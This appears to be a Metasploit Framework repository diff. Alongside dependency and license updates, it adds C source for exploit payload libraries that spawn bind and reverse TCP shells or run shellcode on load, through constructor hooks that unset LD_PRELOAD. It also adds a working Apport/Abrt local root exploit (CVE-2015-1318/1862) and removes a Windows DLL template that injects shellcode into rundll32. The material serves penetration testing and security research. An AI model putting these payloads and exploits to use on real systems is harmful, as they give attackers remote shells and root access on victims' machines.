jwt (>= 1.5, < 3.0)
|
||||
multi_json (~> 1.10)
|
||||
simplecov (0.15.1)
|
||||
docile (~> 1.1.0)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.2)
|
||||
slop (3.6.0)
|
||||
sqlite3 (1.3.13)
|
||||
sshkey (1.9.0)
|
||||
thor (0.20.0)
|
||||
thread_safe (0.3.6)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.3)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2017.2)
|
||||
tzinfo-data (1.2018.3)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.9)
|
||||
yard (0.9.12)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -334,6 +365,9 @@ PLATFORMS
|
||||
DEPENDENCIES
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
google-protobuf (= 3.5.1)
|
||||
grpc (= 1.8.3)
|
||||
metasploit-aggregator
|
||||
metasploit-framework!
|
||||
octokit
|
||||
pry
|
||||
@@ -346,4 +380,4 @@ DEPENDENCIES
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.15.4
|
||||
1.16.1
|
||||
|
||||
@@ -1,38 +0,0 @@
|
||||
HACKING
|
||||
=======
|
||||
|
||||
(Last updated: 2014-03-04)
|
||||
|
||||
This document almost entirely deprecated by:
|
||||
|
||||
CONTRIBUTING.md
|
||||
|
||||
in the same directory as this file, and to a lesser extent:
|
||||
|
||||
The Metasploit Development Environment
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
|
||||
|
||||
Common Coding Mistakes
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
|
||||
The Ruby Style Guide
|
||||
https://github.com/bbatsov/ruby-style-guide
|
||||
|
||||
Ruby 1.9: What to Expect
|
||||
http://slideshow.rubyforge.org/ruby19.html
|
||||
|
||||
You can use the the "./tools/msftidy.rb" script against your new and
|
||||
changed modules to do some rudimentary checking for various style and
|
||||
syntax violations.
|
||||
|
||||
Licensing for Your New Content
|
||||
==============================
|
||||
|
||||
By submitting code contributions to the Metasploit Project it is
|
||||
assumed that you are offering your code under the Metasploit License
|
||||
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
|
||||
are also fine. We specifically cannot include GPL code. LGPL code
|
||||
is accepted on a case by case basis for libraries only and is never
|
||||
accepted for modules.
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
||||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2017, Rapid7, Inc.
|
||||
Copyright: 2006-2018, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
@@ -15,6 +15,11 @@ License: BSD-3-clause
|
||||
# Last updated: 2013-Nov-04
|
||||
#
|
||||
|
||||
Files: data/exploits/mysql/lib_mysqludf_sys_*.so
|
||||
Copyright: 2007 Roland Bouman
|
||||
2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: data/templates/to_mem_pshreflection.ps1.template
|
||||
Copyright: 2012, Matthew Graeber
|
||||
License: BSD-3-clause
|
||||
@@ -70,6 +75,10 @@ Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
Copyright: 2006-2010 Yoann GUILLOT
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
|
||||
Files: lib/net/dns.rb lib/net/dns/*
|
||||
Copyright: 2006 Marco Ceresa
|
||||
License: Ruby
|
||||
|
||||
+1
-1
@@ -84,7 +84,7 @@ rex-arch, 0.1.9, "New BSD"
|
||||
rex-bin_tools, 0.1.4, "New BSD"
|
||||
rex-core, 0.1.11, "New BSD"
|
||||
rex-encoder, 0.1.4, "New BSD"
|
||||
rex-exploitation, 0.1.14, "New BSD"
|
||||
rex-exploitation, 0.1.15, "New BSD"
|
||||
rex-java, 0.1.5, "New BSD"
|
||||
rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
||||
Binary file not shown.
Executable
+48
@@ -0,0 +1,48 @@
|
||||
#!/bin/bash
|
||||
|
||||
build () {
|
||||
CC=$1
|
||||
TARGET_SUFFIX=$2
|
||||
CFLAGS=$3
|
||||
|
||||
echo "[*] Building for ${TARGET_SUFFIX}..."
|
||||
for type in {shellcode,system,reverse,bind}
|
||||
do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so
|
||||
done
|
||||
}
|
||||
|
||||
rm -f *.o *.so *.gz
|
||||
|
||||
#
|
||||
# Linux GLIBC
|
||||
#
|
||||
|
||||
# x86
|
||||
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
|
||||
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# ARM
|
||||
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
|
||||
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
|
||||
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
|
||||
|
||||
# MIPS
|
||||
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
|
||||
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
|
||||
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
|
||||
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
|
||||
|
||||
# SPARC
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# PowerPC
|
||||
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
|
||||
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
|
||||
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
|
||||
|
||||
# S390X
|
||||
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
|
||||
|
||||
gzip -9 *.so
|
||||
rm -f *.o *.so
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,96 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _bind_tcp_shell(void) {
|
||||
|
||||
int sfd, fd, i;
|
||||
struct sockaddr_in addr,saddr;
|
||||
unsigned int saddr_len = sizeof(struct sockaddr_in);
|
||||
|
||||
char *lport = "55555";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
sfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int));
|
||||
|
||||
saddr.sin_family = AF_INET;
|
||||
saddr.sin_port = htons(atoi(lport));
|
||||
saddr.sin_addr.s_addr = INADDR_ANY;
|
||||
bzero(&saddr.sin_zero, 8);
|
||||
|
||||
if (bind(sfd, (struct sockaddr *) &saddr, saddr_len) == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (listen(sfd, 5) == -1) {
|
||||
close(sfd);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fd = accept(sfd, (struct sockaddr *) &addr, &saddr_len);
|
||||
close(sfd);
|
||||
|
||||
if (fd == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_bind_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,84 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _reverse_tcp_shell(void) {
|
||||
|
||||
int fd, i;
|
||||
struct sockaddr_in addr;
|
||||
char *lport = "55555";
|
||||
char *lhost = "000.000.000.000";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
fd = socket(PF_INET, SOCK_STREAM, 0);
|
||||
addr.sin_port = htons(atoi(lport));
|
||||
addr.sin_addr.s_addr = inet_addr(lhost);
|
||||
addr.sin_family = AF_INET;
|
||||
|
||||
memset(addr.sin_zero, 0, sizeof(addr.sin_zero));
|
||||
|
||||
for (i=0; i<10; i++) {
|
||||
if (! connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr))) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_reverse_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,44 @@
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.0");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
void *mem;
|
||||
void (*fn)();
|
||||
|
||||
unsetenv("LD_PRELOAD");
|
||||
|
||||
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if (mem == MAP_FAILED)
|
||||
return;
|
||||
|
||||
memcpy(mem, payload, PAYLOAD_SIZE);
|
||||
fn = (void(*)())mem;
|
||||
|
||||
if (! fork())
|
||||
fn();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,32 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
int dummy = 0;
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
dummy = system((const char*)payload);
|
||||
|
||||
exit(dummy);
|
||||
}
|
||||
Executable
+21
@@ -0,0 +1,21 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Assume x86_64 Ubuntu 16.04 base system
|
||||
apt-get install build-essential \
|
||||
gcc-5-multilib \
|
||||
gcc-5-multilib-arm-linux-gnueabi \
|
||||
gcc-5-multilib-arm-linux-gnueabihf \
|
||||
gcc-5-multilib-mips-linux-gnu \
|
||||
gcc-5-multilib-mips64-linux-gnuabi64 \
|
||||
gcc-5-multilib-mips64el-linux-gnuabi64 \
|
||||
gcc-5-multilib-mipsel-linux-gnu \
|
||||
gcc-5-multilib-powerpc-linux-gnu \
|
||||
gcc-5-multilib-powerpc64-linux-gnu \
|
||||
gcc-5-multilib-s390x-linux-gnu \
|
||||
gcc-5-multilib-sparc64-linux-gnu \
|
||||
gcc-4.9-powerpc64le-linux-gnu \
|
||||
gcc-4.9-aarch64-linux-gnu
|
||||
|
||||
if [ ! -e /usr/include/asm ];
|
||||
then ln -sf /usr/include/asm-generic /usr/include/asm
|
||||
fi
|
||||
Binary file not shown.
@@ -0,0 +1,143 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <err.h>
|
||||
#include <syslog.h>
|
||||
#include <sched.h>
|
||||
#include <linux/sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
//
|
||||
// Apport/Abrt Vulnerability Demo Exploit.
|
||||
//
|
||||
// Apport: CVE-2015-1318
|
||||
// Abrt: CVE-2015-1862
|
||||
//
|
||||
// -- taviso@cmpxchg8b.com, April 2015.
|
||||
//
|
||||
// $ gcc -static newpid.c
|
||||
// $ ./a.out
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// sh-4.3# exit
|
||||
// exit
|
||||
//
|
||||
// Hint: To get libc.a,
|
||||
// yum install glibc-static or apt-get install libc6-dev
|
||||
//
|
||||
|
||||
//
|
||||
// Modified for Metasploit. Original exploit:
|
||||
// - https://www.exploit-db.com/exploits/36746/
|
||||
//
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status;
|
||||
pid_t wrapper;
|
||||
pid_t init;
|
||||
pid_t subprocess;
|
||||
unsigned i;
|
||||
|
||||
// If we're root, then we've convinced the core handler to run us,
|
||||
// so create a setuid root executable that can be used outside the chroot.
|
||||
if (getuid() == 0) {
|
||||
if (chown("sh", 0, 0) != 0)
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
if (chmod("sh", 04755) != 0)
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
|
||||
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
|
||||
// a shell and cleanup.
|
||||
if (setuid(0) == 0) {
|
||||
system("id");
|
||||
system("rm -rf exploit");
|
||||
execlp("sh", "sh", NULL);
|
||||
|
||||
// Something went wrong.
|
||||
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
|
||||
}
|
||||
|
||||
// It looks like the exploit hasn't run yet, so create a chroot.
|
||||
if (mkdir("exploit", 0755) != 0
|
||||
|| mkdir("exploit/usr", 0755) != 0
|
||||
|| mkdir("exploit/usr/share", 0755) != 0
|
||||
|| mkdir("exploit/usr/share/apport", 0755) != 0
|
||||
|| mkdir("exploit/usr/libexec", 0755) != 0) {
|
||||
err(EXIT_FAILURE, "failed to create chroot directory");
|
||||
}
|
||||
|
||||
// Create links to the exploit locations we need.
|
||||
if (link(*argv, "exploit/sh") != 0
|
||||
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
|
||||
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
|
||||
err(EXIT_FAILURE, "failed to create required hard links");
|
||||
}
|
||||
|
||||
// Create a subprocess so we don't enter the new namespace.
|
||||
if ((wrapper = fork()) == 0) {
|
||||
|
||||
// In the child process, create a new pid and user ns. The pid
|
||||
// namespace is only needed on Ubuntu, because they check for %P != %p
|
||||
// in their core handler. On Fedora, just a user ns is sufficient.
|
||||
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
|
||||
err(EXIT_FAILURE, "failed to create new namespace");
|
||||
|
||||
// Create a process in the new namespace.
|
||||
if ((init = fork()) == 0) {
|
||||
|
||||
// Init (pid 1) signal handling is special, so make a subprocess to
|
||||
// handle the traps.
|
||||
if ((subprocess = fork()) == 0) {
|
||||
// Change /proc/self/root, which we can do as we're privileged
|
||||
// within the new namepace.
|
||||
if (chroot("exploit") != 0) {
|
||||
err(EXIT_FAILURE, "chroot didnt work");
|
||||
}
|
||||
|
||||
// Now trap to get the core handler invoked.
|
||||
__builtin_trap();
|
||||
|
||||
// Shouldn't happen, unless user is ptracing us or something.
|
||||
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
|
||||
}
|
||||
|
||||
// If the subprocess exited with an abnormal signal, then everything worked.
|
||||
if (waitpid(subprocess, &status, 0) == subprocess)
|
||||
return WIFSIGNALED(status)
|
||||
? EXIT_SUCCESS
|
||||
: EXIT_FAILURE;
|
||||
|
||||
// Something didn't work.
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// The new namespace didn't work.
|
||||
if (waitpid(init, &status, 0) == init)
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
|
||||
? EXIT_SUCCESS
|
||||
: EXIT_FAILURE;
|
||||
|
||||
// Waitpid failure.
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// If the subprocess returned sccess, the exploit probably worked,
|
||||
// reload with euid zero.
|
||||
if (waitpid(wrapper, &status, 0) == wrapper) {
|
||||
// All done, spawn root shell.
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
|
||||
execl(*argv, "w00t", NULL);
|
||||
}
|
||||
}
|
||||
|
||||
// Unknown error.
|
||||
errx(EXIT_FAILURE, "unexpected result, cannot continue");
|
||||
}
|
||||
Binary file not shown.
@@ -1,16 +0,0 @@
|
||||
#!/bin/sh
|
||||
rm -f *.o *.dll
|
||||
|
||||
CCx86="i686-w64-mingw32"
|
||||
CCx64="x86_64-w64-mingw32"
|
||||
|
||||
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
|
||||
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
|
||||
${CCx64}-strip -s temp.dll -o template_x64_windows.dll
|
||||
rm -f temp.dll *.o
|
||||
|
||||
${CCx86}-gcc -c -Os template.c -Wall -shared
|
||||
${CCx86}-dllwrap --def template.def *.o -o temp.dll
|
||||
${CCx86}-strip -s temp.dll -o template_x86_windows.dll
|
||||
rm -f temp.dll *.o
|
||||
|
||||
@@ -1,95 +0,0 @@
|
||||
// Based on https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/data/templates/src/pe/dll
|
||||
// - removed ExitThread(0) to prevent an Explorer crash
|
||||
// - added Mutex to prevent invoking payload multiple times (at least try)
|
||||
#include <windows.h>
|
||||
#include "template.h"
|
||||
|
||||
void inline_bzero(void *p, size_t l)
|
||||
{
|
||||
BYTE *q = (BYTE *)p;
|
||||
size_t x = 0;
|
||||
for (x = 0; x < l; x++)
|
||||
*(q++) = 0x00;
|
||||
}
|
||||
|
||||
void ExecutePayload(void);
|
||||
|
||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
ExecutePayload();
|
||||
break;
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ExecutePayload(void)
|
||||
{
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
CONTEXT ctx;
|
||||
LPVOID ep;
|
||||
HANDLE hMutex;
|
||||
SECURITY_ATTRIBUTES MutexAttributes;
|
||||
|
||||
inline_bzero(&MutexAttributes, sizeof(MutexAttributes));
|
||||
MutexAttributes.nLength = sizeof(MutexAttributes);
|
||||
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
|
||||
hMutex = CreateMutex(&MutexAttributes, TRUE, "MsfMutex");
|
||||
if(hMutex == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if(GetLastError() == ERROR_ALREADY_EXISTS)
|
||||
{
|
||||
CloseHandle(hMutex);
|
||||
return;
|
||||
}
|
||||
|
||||
if(GetLastError() == ERROR_ACCESS_DENIED)
|
||||
{
|
||||
CloseHandle(hMutex);
|
||||
return;
|
||||
}
|
||||
|
||||
// Start up the payload in a new process
|
||||
inline_bzero(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
|
||||
if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
||||
|
||||
#ifdef _WIN64
|
||||
ctx.Rip = (DWORD64)ep;
|
||||
#else
|
||||
ctx.Eip = (DWORD)ep;
|
||||
#endif
|
||||
|
||||
SetThreadContext(pi.hThread, &ctx);
|
||||
ResumeThread(pi.hThread);
|
||||
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
|
||||
CloseHandle(hMutex);
|
||||
}
|
||||
|
||||
@@ -1,3 +0,0 @@
|
||||
#define SCSIZE 2048
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
|
||||
Executable → Regular
BIN
Binary file not shown.
Executable → Regular
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 1.4 MiB |
@@ -0,0 +1,6 @@
|
||||
.cc-window{opacity:1;transition:opacity 1s ease}.cc-window.cc-invisible{opacity:0}.cc-animate.cc-revoke{transition:transform 1s ease}.cc-animate.cc-revoke.cc-top{transform:translateY(-2em)}.cc-animate.cc-revoke.cc-bottom{transform:translateY(2em)}.cc-animate.cc-revoke.cc-active.cc-bottom,.cc-animate.cc-revoke.cc-active.cc-top,.cc-revoke:hover{transform:translateY(0)}.cc-grower{max-height:0;overflow:hidden;transition:max-height 1s}
|
||||
.cc-link,.cc-revoke:hover{text-decoration:underline}.cc-revoke,.cc-window{position:fixed;overflow:hidden;box-sizing:border-box;font-family:Helvetica,Calibri,Arial,sans-serif;font-size:16px;line-height:1.5em;display:-ms-flexbox;display:flex;-ms-flex-wrap:nowrap;flex-wrap:nowrap;z-index:9999}.cc-window.cc-static{position:static}.cc-window.cc-floating{padding:2em;max-width:24em;-ms-flex-direction:column;flex-direction:column}.cc-window.cc-banner{padding:1em 1.8em;width:100%;-ms-flex-direction:row;flex-direction:row}.cc-revoke{padding:.5em}.cc-header{font-size:18px;font-weight:700}.cc-btn,.cc-close,.cc-link,.cc-revoke{cursor:pointer}.cc-link{opacity:.8;display:inline-block;padding:.2em}.cc-link:hover{opacity:1}.cc-link:active,.cc-link:visited{color:initial}.cc-btn{display:block;padding:.4em .8em;font-size:.9em;font-weight:700;border-width:2px;border-style:solid;text-align:center;white-space:nowrap}.cc-banner .cc-btn:last-child{min-width:140px}.cc-highlight .cc-btn:first-child{background-color:transparent;border-color:transparent}.cc-highlight .cc-btn:first-child:focus,.cc-highlight .cc-btn:first-child:hover{background-color:transparent;text-decoration:underline}.cc-close{display:block;position:absolute;top:.5em;right:.5em;font-size:1.6em;opacity:.9;line-height:.75}.cc-close:focus,.cc-close:hover{opacity:1}
|
||||
